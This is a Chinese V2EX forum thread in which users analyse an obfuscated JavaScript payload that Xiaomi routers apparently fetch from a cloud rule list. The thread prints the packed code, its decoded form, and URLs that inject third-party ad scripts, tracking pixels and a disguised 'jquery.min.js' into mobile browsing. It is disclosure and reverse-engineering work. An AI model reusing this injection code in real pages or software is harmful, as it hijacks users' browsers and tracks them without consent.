小米路由器在后台不停访问小米服务器发送设备信息,继续分析发现不止如此,还...

2019-01-15 22:02:04 +08:00
 ddup

小米路由器开发版之前有出过劫持网页插入广告的行为,而且这个是通过云端去控制的,也就是你的路由器上有个远程后门。。。

** 这是当时的新闻:小米路由器劫持用户浏览器事件始末 **

今天 SSH 登录小米路由器,执行 top 命令发现了进程中有一个非常可疑的行为。

有一个叫 himan 的进程,行为可疑,频繁的执行,CPU 占用率也很高:

访问了这两个地址:

http://api.miwifi.com/utils/proxy

https://api.miwifi.com/data/himan_rule?sn=xxxxx/xxxxxxxx&deviceId=

这个网址后面还会跟设备 ID,发帖前这个网址还可以访问,你可以自行访问查看

浏览器访问这个地址,发现返回了一个看上去像是规则列表的东西:

最后一个规则非常可疑,是一段 JS 代码:

发现这代码不仅做了压缩,而且还做了混淆加密,而是是双重混淆加密,为什么需要这样做?不想让别人看到什么?

尾巴上的一段代码把它执行,得到了 eval

eval,这已经不是 js 代码的常规操作,这段代码的行迹已经很可疑了。

完整代码如下:

HTTP/1.1 200 OK Server: DnionOS/1.11.2.1.10 Content-Type: application/javascript Connection: close Content-Length: 1535

(function(c,g){g[c()](function(p,a,c,k,e,r){e=function(c){return(c<62?'':e(parseInt(c/62)))+((c=c%62)>35?String.fromCharCode(c+29):c.toString(36))};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'[25689rt-zA-F]'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(5(l,n){5 f(o){v{2 d=l.w("head")[0];2 q=d.appendChild(i(o));x(5(){d.removeChild(q)},2000)}y(j){}}5 c(d){8 l.createElement(d)}5 i(e){2 d=c("z");d.type="text/javascript";d.async=true;d.9=e;8 d}5 h(p){2 o="";2 d=Math.floor(p.r/4);2 j=p.r-4d;A(2 e=0;e<d;e++){o+=p.B(4e,3)}6(j>0){o+=p.B(4d)}o=decodeURIComponent(o);o=o.split("").reverse().C("");o=o.t(/["]/g,"www");o=o.t(/[>]/g,"http");o=o.t(/[<]/g,".");8 o}v{2 a="D%33Cskcit2ylajna%x2FmSoc%d3CsLcit7ylavna-9elgCoogR%3C9%22g";a=h(a);2 k=l.w("z");A(2 g=0;g<k.r;g++){6(k[g].9&&k[g].9.u(a)==7){6(!n.E){n.E=1;f(["ht","tp","s://",a].C(""));6(top==this){2 b=navigator.userAgent;6(b.u("Android")>0||b.u("Mobile")>0){6(!n.F){n.F=1;x(5(){f(h("454L01%Z3DdJi%38Fphcp%3BCnoWmmo7c_shjdaT_trJ%2FU2mzV_trh%2Fwmocc%3CU0250ihzXuilr%3C5a%2cF%2EF%3MA%3IE"));f(h("D%L3CeCz8mF%2F0btic%2Fwserz%2F5mocN%3Cexjby-cs8%3CGgi%l2F%R2F%s3A%73E"))},10)}}}}break}}}y(m){}})(document,window);',[],42,'||var|||function|if||return|src||||||||||||||||||length||replace|indexOf|try|getElementsByTagName|setTimeout|catch|script|for|substr|join|sj|g1wtj_uuid_a2n11|uuid_m8v_0212'.split('|'),0,{}))})(function(){return (27).toString(4<<2)+'v'+0xf1.toString(11<<1)},window);

最终解密出来的 js

部分解密,这个 js 应该是采用了自定义的加密手法,而且也许还以依赖了别的外部变量,导致没法通过执行的方式全部还原 js,不过代码的意图已经大致可见。

预计完全解密这段 js 需要些时间,本人时间有限,暂时先发出来,同时欢迎其它大牛解密,看看究竟它在干什么。

因为只解密出大致的代码,没有完全解密,也就无法 100% 断定这段代码的行为,不过已经足够对它行为进行大致的判断。

如何判断,在完全解密出来前,我不会下定论,那么就交给各位了。

最后,看来,我还是自己弄个开源的软路由吧。。。

代码中的几个关键词:

解密出的大致代码:

(5(l, n) { 5 f(o) { v { 2 d = l.w("head")[0]; 2 q = d.appendChild(i(o)); x(5() { d.removeChild(q) }, 2000) } y(j) {} } 5 c(d) { 8 l.createElement(d) } 5 i(e) { 2 d = c("z"); d.type = "text/javascript"; d.async = true; d.9 = e; 8 d } 5 h(p) { 2 o = ""; 2 d = Math.floor(p.r / 4); 2 j = p.r - 4 * d; A(2 e = 0; e0) { o += p.B(4 * d) } o = decodeURIComponent(o); o = o.split("").reverse().C(""); o = o.t(/["]/g, "www"); o = o.t(/[>]/g, "http"); o = o.t(/[<]/g, "."); 8 o } v { 2 a = "D%33Cskcit2ylajna%x2FmSoc%d3CsLcit7ylavna-9elgCoogR%3C9%22g"; a = h(a); 2 k = l.w("z"); A(2 g = 0; g0 || b.u("Mobile") > 0) { 6(!n.F) { n.F = 1; x(5() { f(h("454L01%Z3DdJi%38Fphcp%3BCnoWmmo7c_shjdaT_trJ%2FU2mzV_trh%2Fwmocc%3CU0250ihzXuilr%3C5a%2cF%2EF%3MA%3IE")); f(h("D%L3CeCz8mF%2F0btic%2Fwserz%2F5mocN%3Cexjby-cs8%3CGgi%l2F%R2F%s3A%73E")) }, 10) } } } } break } } } y(m) {} })(document, window);

35762 次点击
所在节点    小米
128 条回复
oott123
2019-01-15 22:34:31 +08:00
发完整代码的时候请还是留意一下 markdown 语法吧。
F1024
2019-01-15 22:41:22 +08:00
看样子是插入广告代码?
jsyzdej
2019-01-15 22:44:26 +08:00
小米路由器不够稳定,曾经买过一台,疯狂掉线,除了颜值看得过去外实在找不到其他理由能安抚我的钱包。
panda
2019-01-15 22:46:03 +08:00
意料之中啊
des
2019-01-15 22:46:06 +08:00
看着像是插入了一个 js,然后加载完后移除了自己
imn1
2019-01-15 22:49:21 +08:00
我一直想知道小米笔记本的 BIOS 或预装系统会不会上传
sigup
2019-01-15 22:59:31 +08:00
不要用任何的国产软件 /硬件,全都有后门
mywaiting
2019-01-15 23:02:59 +08:00
你都解密出 eval 了,剩下的还不简单啊,那个 g[c()] 按照后面的传入参数,其实就相当于 window[eval()] ,那么剩下的解码就是 把后面的这段直接丢 console 执行即可

解码出来的就是这一段,请自己格式化一下吧:

(function(l,n){function f(o){try{var d=l.getElementsByTagName("head")[0];var q=d.appendChild(i(o));setTimeout(function(){d.removeChild(q)},2000)}catch(j){}}function c(d){return l.createElement(d)}function i(e){var d=c("script");d.type="text/javascript";d.async=true;d.src=e;return d}function h(p){var o="";var d=Math.floor(p.length/4);var j=p.length-4d;for(var e=0;e<d;e++){o+=p.substr(4e,3)}if(j>0){o+=p.substr(4d)}o=decodeURIComponent(o);o=o.split("").reverse().join("");o=o.replace(/["]/g,"www");o=o.replace(/[>]/g,"http");o=o.replace(/[<]/g,".");return o}try{var a="sj%33Cskcit2ylajna%x2FmSoc%d3CsLcit7ylavna-9elgCoogR%3C9%22g";a=h(a);var k=l.getElementsByTagName("script");for(var g=0;g<k.length;g++){if(k[g].src&&k[g].src.indexOf(a)==7){if(!n.g1wtj_uuid_a2n11){n.g1wtj_uuid_a2n11=1;f(["ht","tp","s://",a].join(""));if(top==this){var b=navigator.userAgent;if(b.indexOf("Android")>0||b.indexOf("Mobile")>0){if(!n.uuid_m8v_0212){n.uuid_m8v_0212=1;setTimeout(function(){f(h("454L01%Z3DdJi%38Fphcp%3BCnoWmmo7c_shjdaT_trJ%2FU2mzV_trh%2Fwmocc%3CU0250ihzXuilr%3C5a%2cF%2EF%3MA%3IE"));f(h("sj%L3CeCz8mF%2F0btic%2Fwserz%2F5mocN%3Cexjby-cs8%3CGgi%l2F%R2F%s3A%73E"))},10)}}}}break}}}catch(m){}})(document,window);
mywaiting
2019-01-15 23:12:25 +08:00
其中有三句很蛋疼的加密语句

h("sj%33Cskcit2ylajna%x2FmSoc%d3CsLcit7ylavna-9elgCoogR%3C9%22g")
h("454L01%Z3DdJi%38Fphcp%3BCnoWmmo7c_shjdaT_trJ%2FU2mzV_trh%2Fwmocc%3CU0250ihzXuilr%3C5a%2cF%2EF%3MA%3IE")
h("sj%L3CeCz8mF%2F0btic%2Fwserz%2F5mocN%3Cexjby-cs8%3CGgi%l2F%R2F%s3A%73E")

代码上下文可知,这个 h 必定是解密字符串的函数啊,然而,这段 h 函数写得有点问题,自己修复一下执行解密后,结果分别是

"www.google-analytics.com/analytics.js"
"http://a.liuzhi520.com/rt_zm2/rt_adjs_common.php?id=10454"
"http://ig.sc-bjx.com/res/itb/m8ze.js"
mywaiting
2019-01-15 23:22:46 +08:00
然后这个 liuzhi520 自行搜索一下,很有趣的事情,有兴趣的同学可以深挖一下这两个域名~

后面这个 m8ze.js 搞的事情,其实也一样,这是解码后的代码:

(function(h,c){function g(k){try{var d=h.getElementsByTagName("head")[0];var l=d.appendChild(b(k));setTimeout(function(){d.removeChild(l)},2000)}catch(j){}}function f(d){return h.createElement(d)}function b(k){var d=f("script");d.type="text/javascript";d.async=true;d.src=k;return d}function a(m){var l="";var d=Math.floor(m.length/4);var k=m.length-4*d;for(var j=0;j<d;j++){l+=m.substr(4*j,3)}if(k>0){l+=m.substr(4*d)}l=decodeURIComponent(l);l=l.split("").reverse().join("");l=l.replace(/["]/g,"www");l=l.replace(/[>]/g,"http");l=l.replace(/[<]/g,".");return l}function i(){var d=new Image();d.src=a("p1j5tgmQ%3Dpw%3xFphIp%3ICci0p%2sF32Q07%c3Anlc%3BCxlgeolu%3Cbzm%w2F%r2F%N3A%W3E")}function e(){var d=new Image();d.src=a("llaLp1mb%3Dqw%3HFphUp%34CciXp%2lF32B07%W3Anfc%3KCxlleolB%3Cqzm%r2F%Q2F%h3A%63E")}if(Math.random()<0.02){i()}if(!c._uuid_mobi_all1_){c._uuid_mobi_all1_=1;if(Math.random()<0.02){e()}g(a("sj%f3Cnzim%03CyAreuqqj%42FbMti%U2Fs2er%L2FmBoc%v3CxXjb-tcs%o3Cmwh%28F%2rF%3VA%3dE"))}})(document,window);

一样的套路,分别访问了

"http://mz.loelx.cn:7023/pic.php?w=mgtj1p"
"http://mz.loelx.cn:7023/pic.php?w=m1pall"
"http://hm.sc-bjx.com/res/itb/jquery.min.js"

前面两个是 new Image() 用于跟踪访客的,最后的这个 jquery.min.js 很有意思的
AlisaDestiny
2019-01-15 23:35:49 +08:00
这种加广告的猫腻它也只是敢在移动端耍耍了。
https://i.loli.net/2019/01/15/5c3dfc399864e.png
Mohanson
2019-01-16 00:07:40 +08:00
要是在美国已经被告倒闭了。
guog
2019-01-16 00:25:51 +08:00
@mywaiting 我擦,不该手贱搜的…
Wenpo
2019-01-16 00:32:22 +08:00
恩山找个固件刷一下
alvin666
2019-01-16 00:38:16 +08:00
@guog 什么东西?....
Osk
2019-01-16 01:10:40 +08:00
再闹事信不信不给你 root ssh 了 :doge:
KasuganoSoras
2019-01-16 01:14:12 +08:00
@mywaiting 不搜不知道,一搜笑死
tab16360
2019-01-16 07:56:04 +08:00
@mywaiting 他还起个名叫 jqurey.min.js 求生欲很强啊 生怕被深挖出来 期待大神继续挖出更劲爆的信息
tab16360
2019-01-16 08:04:55 +08:00
(function(c,g){g[c()](function(p,a,c,k,e,r){e=function(c){return(c<62?'':e(parseInt(c/62)))+((c=c%62)>35?String.fromCharCode(c+29):c.toString(36))};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'([578B-Z]|1\\w)'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(8(i,n){8 f(s){try{5 d=i.getElementsByTagName("head")[0];5 t=d.appendChild(h(s));U(8(){d.removeChild(t)},2000)}catch(r){}}8 c(d){B i.V(d)}8 h(r){5 d=c("script");d.type="text/javascript";d.async=W;d.src=r;B d}8 m(r){7(r&&r.G("http")===0){5 d=i.V("a");d.href=r;B d.X}J{B Q}}8 b(){5 d=Y;7(typeof(Z.10)!="undefined"){d=Z.10}B d}5 p=O 8(){L.expTime=8(d){7(d.E==0){d=0}5 r=O Date();r.setTime(r.getTime()+11(d));B r.toGMTString()};L.13=8(t){5 d=t+"=";5 w=d.E;5 u=""+i.cookie;5 s=u.G(d);7(s==-1||t==""){B""}5 v=s+w;5 r=u.G(";",v);7(r==-1){r=u.E}B decodeURI(u.substring(v,r))}};5 g=["ABCDEFG","HIJKLMNO","PQRSTUVWXYZa","bcdefghijklm","nopqrstuvwxyz012","34567


有必要留存一份
yksoft1ex
2019-01-16 08:32:58 +08:00
小米路由器及其固件是谁开发的?不知是官方行为还是员工个人干的。

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/527378

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX